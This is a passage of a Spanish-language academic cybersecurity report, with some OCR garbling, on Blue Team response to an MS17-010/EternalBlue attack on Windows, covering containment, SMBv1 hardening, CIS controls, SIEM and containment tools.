informaticos. En el escenario planteado por CyberFort Technologies, se presenta un ataque en
tiempo real que explota la vulnerabilidad critica MS17-010 en sistemas Windows obsoletos con
SMBvV1 habilitado. A partir de este contexto, se desarrolla el siguiente andlisis técnico desde una
perspectiva avanzada de ciberseguridad, fundamentado en précticas de defensa proactiva,
pensamiento adversarial y hardening de sistemas, utilizando Unicamente herramientas con

licencia libre.
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Respuesta Inmediata ante el Ataque (Analisis Técnico)

Ante un ataque en tiempo real basado en la vulnerabilidad MS17-010, el primer paso critico
dentro del rol de un equipo Blue Team seria identificar y contener inmediatamente la amenaza,
priorizando la mitigacion del vector de ataque activo para limitar la propagacion y los dafios.
Figura 19

Uso de la herramienta Wireshark
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- 445 [ACK] S

192.168.100.10
192.168.100.10

TSval=2324131038 TSecr=1366952
Len=132 TSval=2324131038 TSecr=1366952
5eq=137 Ack=257 Win=64128 Len=0

TSval=2324; K
® 15val=1366952 TSecr=2324131638

£
, FID: 6x0006
TSval=1366952 TSecr=2324131048
ETER
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2324

® L identification (ip.id), 2 bytes Packets: 730 Profile: Default

Nota: Wireshark capturd el trafico de red durante el ataque, permitiendo identificar las acciones
del atacante con la maquina comprometida. Fuente: (Joya, 2025).
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Figura 20

Datos de todos los paquetes en el ataque
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Nota: Wireshark permite visualizar graficamente el flujo de informacion intercambiado
con la maquina comprometida. Fuente: (Joya, 2025).

2.1 Aislamiento de la maquina comprometida:

Lo primero seria aislar la maquina Windows comprometida de la red para detener
cualquier comunicacién externa e interna que permita la propagacion del ataque, en particular si
se trata de un ransomware como WannaCry o NotPetya, los cuales explotaron la vulnerabilidad
MS17-010 mediante el puerto 445/TCP, “esta accion se basa en la contencion activa del

incidente, que debe ejecutarse antes del andlisis forense para evitar dafios mayores” (Scarfone

& Mell, 2007).
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Analisis en vivo validacion de logs y procesos activos:

Luego del aislamiento, se utilizarian herramientas GPL o gratuitas como:

1. Sysinternals Suite (especialmente Process Explorer y TCPView) para observar procesos
sospechosos y conexiones a través de SMB.

2. Wireshark para capturar y analizar trafico SMB hacia/desde la maquina afectada.

3. Event Viewer para revisar logs de seguridad y sistema, buscando actividades inusuales

relacionadas con el acceso remoto o ejecucion de comandos.

Estas herramientas permiten verificar si el exploit EternalBlue ha sido utilizado,
caracterizado por trafico andmalo en el puerto 445/TCP. Validar si el sistema tiene aplicado el
parche correspondiente a la vulnerabilidad MS17-010 (publicado por Microsoft en marzo de
2017). En caso de estar ausente, se confirma un fallo critico de gestidn de parches, lo cual es un
hallazgo relevante para el reporte posterior.

El protocolo SMBVL1 es inherentemente inseguro Yy ha sido descontinuado por Microsoft. Su
explotacion mediante EternalBlue permite ejecucion remota de codigo sin autenticacién
(Microsoft, 2017). La estrategia inmediata debe enfocarse en:

1. Cortar el acceso al puerto 445 a través de reglas en el firewall de Windows Defender o

desde la infraestructura de red.

2. Comprobar mediante Get-SmbServerConfiguration en PowerShell si SMBv1 esta

habilitado.
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3. Ejecutar netstat -an | findstr 445 para detectar conexiones abiertas y tasklist para vincular

procesos sospechosos.

Captura de datos y evidencia:
Tabla 8

Herramientas GPL recomendadas del Blue Team.

Herramienta Funcién
Wireshark Captura de paquetes de red
Volatility Anélisis de memoria RAM
NetworkMiner Extraccion de artefactos de red
Sysmon + Wazuh Registro de eventos avanzados

Nota: Este andlisis inmediato permite al analista evaluar el alcance del ataque y preparar una respuesta
contenida dentro de los lineamientos del NIST SP 800-61.

Medidas de Hardenizacién para Prevenir Reincidencias

Para evitar que un ataque como el ejecutado mediante la vulnerabilidad MS17-010 vuelva a
producirse, es fundamental aplicar medidas de hardenizacion del sistema operativo y la red, con
enfoque preventivo y de defensa en profundidad. El objetivo del hardening es reducir la
superficie de ataque mediante la aplicacion de controles técnicos. Las medidas propuestas
incluyen:

a. Aplicacion inmediata de parches de seguridad

La primera linea de defensa es mantener todos los sistemas actualizados con los ultimos

parches de seguridad. El parche MS17-010 corrige la vulnerabilidad que permite la ejecucion
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remota de codigo a traves del protocolo SMBvV1. “La falta de aplicacion de parches es una de las
causas principales de incidentes de ciberseguridad graves” (Scarfone & Mell, 2007).

b. Desactivacion del protocolo SMBv1

SMBV1 es un protocolo obsoleto, vulnerable y no seguro. Su desactivacién reduce
significativamente el riesgo de explotacion.

Disable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol"

Microsoft recomienda desactivar SMBv1 como medida de hardenizacion basica desde 2017
(Microsoft, 2017).

c. Segmentacion de red y control de trafico

Implementar segmentacion de red para que los sistemas vulnerables no puedan ser accedidos
lateralmente desde otras subredes. Ademas, se deben bloquear puertos no utilizados (como
445/TCP) mediante firewalls internos.

Acciones:

1. Configurar firewalls locales para negar acceso al puerto 445.

2. Implementar ACLs (Access Control Lists) en switches y routers.

d. Uso de autenticacion multifactor (MFA)

Restringir el acceso administrativo a la red o servicios sensibles mediante MFA,

reduciendo el riesgo de movimientos laterales en caso de compromisos de credenciales.
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e. Monitoreo y deteccion de intrusiones

Implementar sistemas IDS/IPS basados en software libre como Snort o Suricata para
detectar patrones de ataque como EternalBlue. “El monitoreo de red en tiempo real permite una
rapida respuesta ante intentos de explotacion” (Scarfone & Mell, 2007).

f. Revisidn y limitacion de cuentas administrativas

Reducir la superficie de ataque minimizando el nimero de cuentas con privilegios
elevados y aplicando el principio de minimos privilegios.

g. Copias de seguridad seguras y desconectadas

Asegurar backups periddicos, almacenados fuera de linea, para recuperar informacion en
caso de un ataque exitoso de ransomware, que suele explotar MS17-010.
Tabla 9

Herramientas GPL recomendadas del Blue Team.

Medida Justificacion técnica

Deshabilitar SMBv1 El protocolo est4 obsoleto y vulnerable.

Aplicar parches Previene gue vulnerabilidades conocidas sean
automaticos explotadas.

Reduce el riesgo de uso de credenciales

Implementar MFA .
comprometidas.

Segmentar redes con
VLAN

Aplicar AppLocker

Limita la lateralizacion del atacante.

Controla qué ejecutables pueden correr en el
sistema.

Nota: Estas acciones se alinean con los controles CIS v8, particularmente los controles 4,5y 7,
orientados a la gestion de configuraciones, control de cuentas y proteccidon contra malware.



Blue Team vs. Equipo de Respuesta a Incidentes

Aunque ambos equipos tienen funciones clave en la ciberseguridad defensiva, existen
diferencias importantes en su proposito, alcance y enfoque operativo. A continuacion, se
explican con claridad estas diferencias:

a. Blue Team: Defensa proactiva y continua

El Blue Team es responsable de la defensa activa y continua de la infraestructura
tecnoldgica de una organizacion. Su funcion principal es prevenir, detectar y contener ataques
cibernéticos antes de que generen impacto. Para lograr esto, se apoya en herramientas de
monitoreo, analisis de trafico, correlacion de eventos, pruebas de penetracion defensivas y
hardenizacion de sistemas.

Principales funciones del Blue Team:
1. Implementar controles de seguridad (firewalls, IDS/IPS, SIEM).
2. Analizar vulnerabilidades y aplicar parches.
3. Configurar alertas y reglas de deteccion.
4. Ejecutar simulacros de ataque (ej. purple teaming).

5. Evaluar continuamente la postura de seguridad.

“El Blue Team trabaja de manera constante en la mejora de la seguridad, incluso

cuando no hay ataques en curso” (Scarfone & Mell, 2007).
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b. Equipo de Respuesta a Incidentes Informaticos (CSIRT/CERT): Mitigacion reactiva

especializada

El equipo de Respuesta a Incidentes Informaticos (también conocido como CSIRT —

Computer Security Incident Response Team) entra en accion cuando un incidente de seguridad

ha sido detectado o reportado. Su enfoque es reactivo, centrado en la contencién, erradicacion,

recuperacion y analisis posterior del incidente.

Principales funciones del equipo de respuesta:

1. Identificar el tipo y alcance del incidente.

2. Aislar los sistemas comprometidos.

3. Realizar analisis forense digital.

4. Coordinar la recuperacion de los sistemas.

5. Comunicar y documentar el incidente.

“Este equipo puede estar integrado dentro del Blue Team, pero actla bajo

procedimientos formales y escalables en casos de emergencia” (West-Brown et al., 2003).

Tabla 10

Comparacion entre Blue Team y Equipo de respuesta a incidentes.

Caracteristica

Equipo de Respuesta a

Blue Team Incidentes

Enfoque principal

Tiempo de accion

Herramientas
utilizadas

Integracién con
otros equipos

Investigacion y
contencidn post-incidente

Reactivo ante eventos

Forense, snapshots,
reporte de incidentes

Coordinacion con legal
y cumplimiento

Prevencion y deteccion
continua

Permanente

IDS, SIEM, hardening,
monitoreo continuo

Colaboracioén con Red
Team y DevSecOps

Nota: Ambos equipos son esenciales para una estrategia de ciberseguridad holistica, pero cumplen roles

complementarios.
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Tabla 11

Diferencia clave enfoque BLUE TEAM proactivo vs. CSIRT reactivo

Respuesta a
Incidentes (CSIRT)
Enfoque Proactivo (prevencion) Reactivo (respuesta)
Se activa ante

Aspecto Blue Team

Activacion Permanente . .
incidentes confirmados

Herramientas SIEM, EDR, anélisis de Forense digital, analisis

utilizadas vulnerabilidades de malware

Objetivo principal Fortalecer la seguridad - Mitigar y resolver

incidentes
. . Antes y durante un Durante y después del
Tiempo de accion .
posible ataque ataque

Nota: Ambos equipos son esenciales para una estrategia de ciberseguridad holistica, pero cumplen roles
complementarios.

5. Utilidad del CIS para el Blue Team
Dentro de un equipo Blue Team, el uso del CIS (Center for Internet Security) es
fundamental para establecer, implementar y mantener estandares de seguridad sélidos y
comprobados, conocidos como CIS Benchmarks y CIS Controls. Estas guias permiten elevar el
nivel de proteccion de los sistemas tecnoldgicos de una organizacion de forma estructurada y

basada en buenas practicas reconocidas globalmente.

El Center for Internet Security (CIS) provee directrices estructuradas que permiten:

« Estandarizar configuraciones seguras con CIS Benchmarks.
o Evaluar el cumplimiento mediante herramientas como CIS-CAT.

e Priorizar medidas segun riesgo operativo.
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Estas guias son utilizadas por agencias federales y empresas Fortune 500, permitiendo al

Blue Team aplicar mejoras de seguridad medibles y verificables (CIS, 2024).

Principales fines del uso del CIS en un equipo Blue Team

a. Hardenizacion de sistemas (CIS Benchmarks)
Uno de los principales usos del CIS es la hardenizacion del sistema operativo, aplicaciones y
servicios. Los CIS Benchmarks son listas detalladas de configuraciones recomendadas,

clasificadas por nivel de criticidad (por ejemplo, para Windows Server, Linux, bases de datos,

navegadores, etc.).

Ejemplo: En el contexto del ataque por MS17-010 en Windows, se utilizarian los CIS
Benchmarks para Windows para asegurar que:

1. SMBvV1 esté desactivado.

2. El acceso remoto esté restringido.

3. Las politicas de contrasefias sean robustas.

“Estas configuraciones reducen drdsticamente la superficie de ataque” (CIS, 2024).



b. Evaluacion y mejora continua de la postura de seguridad (CIS Controls)

El CIS también proporciona los CIS Controls (anteriormente conocidos como Critical

Security Controls), una lista priorizada de acciones defensivas disefiadas para mitigar las

amenazas cibernéticas mas comunes.

Ejemplos clave para Blue Team:

Control 4: Uso controlado de privilegios administrativos.

Control 7: Proteccion de puertos de red y servicios innecesarios.

Control 8: Implementacion de monitoreo y auditoria.

“Estos controles permiten construir una estrategia de defensa basada en riesgo,

adaptable al tamafio y madurez de la organizaciéon” (CIS, 2024).

c. Auditoria de cumplimiento

El CIS permite a los equipos Blue Team realizar auditorias de cumplimiento de

configuracién mediante herramientas como OpenSCAP, Lynis, o scripts automatizados que

comparan las configuraciones reales del sistema con los benchmarks establecidos.
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d. Capacitacion y desarrollo de politicas

El CIS también proporciona documentacién valiosa para educar al equipo técnico,
desarrollar politicas organizacionales y justificar decisiones de seguridad ante la direccion

ejecutiva o entes reguladores.

Funciones y Caracteristicas del SIEM

Un SIEM (Security Information and Event Management, por sus siglas en inglés) es una
solucion tecnoldgica utilizada por los equipos de ciberseguridad —como el Blue Team— para la
deteccidn, analisis, respuesta y gestion de eventos de seguridad en tiempo real o retrospectivo.
Su objetivo principal es proporcionar visibilidad centralizada de la seguridad de una
organizacion mediante el analisis de registros y eventos generados por distintos sistemas

tecnoldgicos.

Funciones principales de un SIEM
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a. Recoleccion y correlacion de registros

Un SIEM recopila eventos de seguridad desde multiples fuentes: firewalls, servidores,
routers, sistemas operativos, bases de datos, aplicaciones y dispositivos de seguridad. Luego,
correlaciona estos eventos para detectar patrones que podrian indicar actividades maliciosas.
Ejemplo: Si un usuario falla multiples intentos de inicio de sesion en varios sistemas y luego
accede exitosamente desde una IP externa, el SIEM puede generar una alerta.

b. Monitoreo en tiempo real

El SIEM permite un monitoreo continuo de los eventos, facilitando la deteccion temprana
de incidentes y la activacion de alertas automatizadas ante comportamientos anomalos.

c. Generacion de alertas

Basado en reglas definidas por analistas o plantillas preconfiguradas, el SIEM genera
alertas de seguridad ante eventos sospechosos, como escaneos de puertos, escalamiento de
privilegios, movimientos laterales o conexiones desde ubicaciones no autorizadas.

d. Analisis forense y trazabilidad

Un SIEM mantiene un histdrico detallado de los eventos, permitiendo el analisis forense
posterior a un incidente. Esto es esencial para identificar como ocurri6 el ataque, qué sistemas se

vieron comprometidos y qué datos fueron afectados.
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e. Cumplimiento normativo

Muchas normas de seguridad como ISO/IEC 27001, PCI-DSS, HIPAA, y GDPR
requieren monitoreo de eventos de seguridad y trazabilidad. Un SIEM facilita el cumplimiento
de estos estandares mediante reportes automaticos y almacenamiento de logs.

Tabla 12

Caracteristicas de SIEM

Caracteristica Descripcion
L Agrega eventos de multiples fuentes en una sola
Centralizacion
plataforma.
Correlacion de Detecta ataques complejos mediante la relacion de
eventos eventos aparentemente aislados.

Genera alertas automaticas y puede integrarse con

Automatizacion SOAR para respuesta automatizada.

Escalabilidad Puede adaptarse a infraestructuras pequefias o grandes.
Visualizacion de Paneles graficos (dashboards) para facilitar el analisis
datos de seguridad.

Nota: Los SIEM permiten implementar detecciones personalizadas basadas en TTPs del
framework MITRE ATT&CK.

Ejemplos de herramientas SIEM (licencia libre o GPL)

1. Wazuh: Basado en OSSEC, con capacidades avanzadas de SIEM.

2. ELK Stack (Elasticsearch, Logstash, Kibana): Popular para la centralizaciéon y
visualizacion de logs.

3. Security Onion: Plataforma que integra varias herramientas para deteccion, monitoreo y

analisis forense.
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Importancia del SIEM para el Blue Team

Para un equipo Blue Team, el SIEM es una herramienta estratégica porque permite:

1. Anticiparse a amenazas mediante analisis de comportamiento.
2. Responder rapidamente a incidentes de seguridad.
3. Analizar ataques pasados para mejorar defensas futuras.

4. Cumplir con auditorias y normativas de seguridad.

Herramientas de Contencion de Ataques (Software y Hardware)

Las herramientas de contencidn de ataques informaticos tienen como funcién principal
detener la propagacion del ataque, aislar sistemas comprometidos, y minimizar el impacto dentro
de la infraestructura tecnoldgica de una organizacién. A diferencia de las herramientas de
deteccidn, que se enfocan en identificar amenazas, las de contencidn se activan para frenar o
interrumpir la actividad maliciosa.

Tabla 13

Herramientas de contencién de Ataques.

Tipo S
Herramienta  (Hardware/Softwa D escripcion tecnica y Ejemplo(s)
Item re) funcion de contencion
Fire Inspecciona el tréfico de red
wall de en tiempo real con capacidades pfS
rexima Hardware /  avanzadas como inspeccion profunda  ense (GPL),
gsneraci()n Software de paquetes (DPI), filtrado por Palo Alto,
(NGFW) aplicaciones, control de usuarios y FortiGate

deteccion de amenazas. Permite




Segm
entacion de
red (VLANs/
Zonas)

EDR
(Endpoint
Detection and
Response)

NAC
(Network
Access
Control)

Hone
ypots activos
con respuesta

dinamica

WAF
(Web
Application
Firewall)

Configurac

i6n / Hardware

Software

Hardware /

Software

Software

Hardware /

Software

bloquear trafico malicioso, cerrar
conexiones activas, y segmentar
reglas por zonas de seguridad. Ideal
para contener movimientos laterales y
ataques de red.

Permite dividir la red fisica
en subredes légicas aisladas
(VLANS), lo que limita la
propagacion de ataques al impedir
que un dispositivo comprometido
acceda libremente a otros segmentos.
Es una medida clave de contencion al
permitir el confinamiento de un
ataque en una sola zona o red sin
afectar los servicios criticos.

Herramientas instaladas en

endpoints que permiten detectar,
investigar y contener amenazas.
Algunas soluciones EDR permiten
aislar remotamente un equipo de la
red, terminar procesos maliciosos y
revocar sesiones activas. Aunque su
enfoque es también de deteccion, sus
funciones de contencion son
esenciales frente a amenazas
persistentes.

Controla qué dispositivos
pueden acceder a la red corporativa.
Si un equipo no cumple politicas de
seguridad, el NAC puede denegar el

acceso o ubicar al dispositivo en
una red aislada, evitando la
propagacion de malware o accesos no
autorizados. Util en redes
empresariales con maltiples
dispositivos y usuarios.
Sistemas sefiuelo disefiados
para atraer a los atacantes. Algunos
honeypots avanzados, como Cowrie,
pueden generar reglas automaticas
de bloqueo (por ejemplo, en el
firewall) cuando detectan
interacciones maliciosas. Esto
permite engafar al atacante y
proteger los activos reales, mientras
se bloguea su IP o comportamiento a
futuro.

Inspecciona y filtra el trafico
HTTP/HTTPS que va dirigido a
aplicaciones web. Permite bloquear
ataques como SQL Injection, XSS,
file inclusion, etc. en tiempo real,
impidiendo que lleguen al servidor de
aplicaciones. Es crucial para contener
ataques dirigidos a sitios web o APIs
expuestas a internet.

VL
ANSs en
Cisco/Mikro
tik, firewalls
uTMm

Wa
zuh (GPL),
OSSEC,
CrowdStrike

Pac
ketFence
(GPL),
Cisco ISE

Co
wrie, T-Pot,
Dionaea

Mo
dSecurity
(GPL),
NAXSI,
AWS WAF
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Nota: Estas herramientas actian como linea directa de defensa, limitando el avance del
atacante sin necesidad de intervencion humana inmediata.

Pensamiento Adversarial en la Ciberdefensa

El pensamiento adversarial, técnica proveniente del &mbito militar, consiste en anticiparse al

comportamiento del atacante. En ciberseguridad, esto se traduce en:

« Crear entornos honeypot para estudiar comportamiento malicioso.
e Simular ataques con Purple Team para validar defensas.

o Aplicar red teaming continuo para mejorar capacidades del Blue Team.

Referentes como Wang et al. (2020) destacan que este enfoque permite una mejor

comprension del ciclo de vida del ataque y fomenta respuestas mas eficientes.
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Conclusiones

La evolucion acelerada de las tecnologias digitales en Colombia ha traido consigo
oportunidades, pero también desafios significativos en materia de seguridad y proteccion de la
informacion. Esta realidad demanda una respuesta integral, donde la ciberseguridad no se limite
a reacciones técnicas aisladas, sino que incorpore vision estratégica, pensamiento adversarial y
un marco normativo solido. El presente trabajo evidencio, a través de simulaciones practicas y
analisis técnico, la importancia de adoptar metodologias ofensivas (Red Team) y defensivas
(Blue Team) como pilares complementarios para evaluar y fortalecer la postura de seguridad de

las infraestructuras tecnoldgicas.

Desde el plano legal, instrumentos como la Ley 1273 de 2009 y la Ley 1581 de 2012 han
sido fundamentales para tipificar los delitos informaticos y garantizar el derecho a la proteccién
de datos personales. No obstante, se hace necesaria una actualizacion continua de la legislacion y
su articulacion con marcos internacionales como la ISO/IEC 27001 y el Convenio de Budapest,
con el fin de enfrentar amenazas cada vez mas sofisticadas, como el ciberespionaje, el

ransomware y la explotacion de vulnerabilidades persistentes (Microsoft, 2017; 1SO, 2022).

La experiencia practica adquirida mediante el uso de herramientas como Metasploit,
Nmap y OpenVAS permitié comprender el ciclo completo de una intrusion, desde el
reconocimiento hasta la explotacion y la obtencion de acceso remoto. Particularmente, el caso de

la vulnerabilidad MS17-010, aln vigente en infraestructuras desactualizadas, reafirmo la
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necesidad de politicas rigurosas de parcheo, eliminacion de servicios inseguros como SMBvV1, y

monitoreo continuo de puertos criticos como el 445/TCP (Mitre, 2023; Rapid7, 2017).

En paralelo, el trabajo defensivo destacé el valor de soluciones de contencidn, tanto
propietarias como de cddigo abierto, como Wazuh, ModSecurity y analisis de trafico con
Wireshark. Estas herramientas, alineadas con los controles del Center for Internet Security (CIS,
2024), demostraron que es posible lograr una respuesta efectiva incluso con recursos limitados,

siempre que exista planificacion, formacion y cultura organizacional en ciberseguridad.

El pensamiento adversarial, entendido como la capacidad de anticiparse a las técnicas y
comportamientos del atacante, se consolidé como una competencia critica para la ciberdefensa
moderna (Wang et al., 2020). Este enfoque permite no solo detectar fallas antes de que sean
explotadas, sino también disefiar defensas mas inteligentes, resilientes y adaptables al entorno

cambiante de amenazas.

Finalmente, este proceso de aprendizaje y aplicacion practica reafirma que la
ciberseguridad debe ser concebida como una responsabilidad compartida entre el Estado, el
sector privado, la academia y la sociedad civil. Méas alla del cumplimiento normativo, se requiere
un compromiso ético, una vision preventiva y una inversion constante en talento humano
altamente capacitado. Solo asi sera posible construir entornos digitales seguros, resilientes y

acordes a los retos del siglo XXI.
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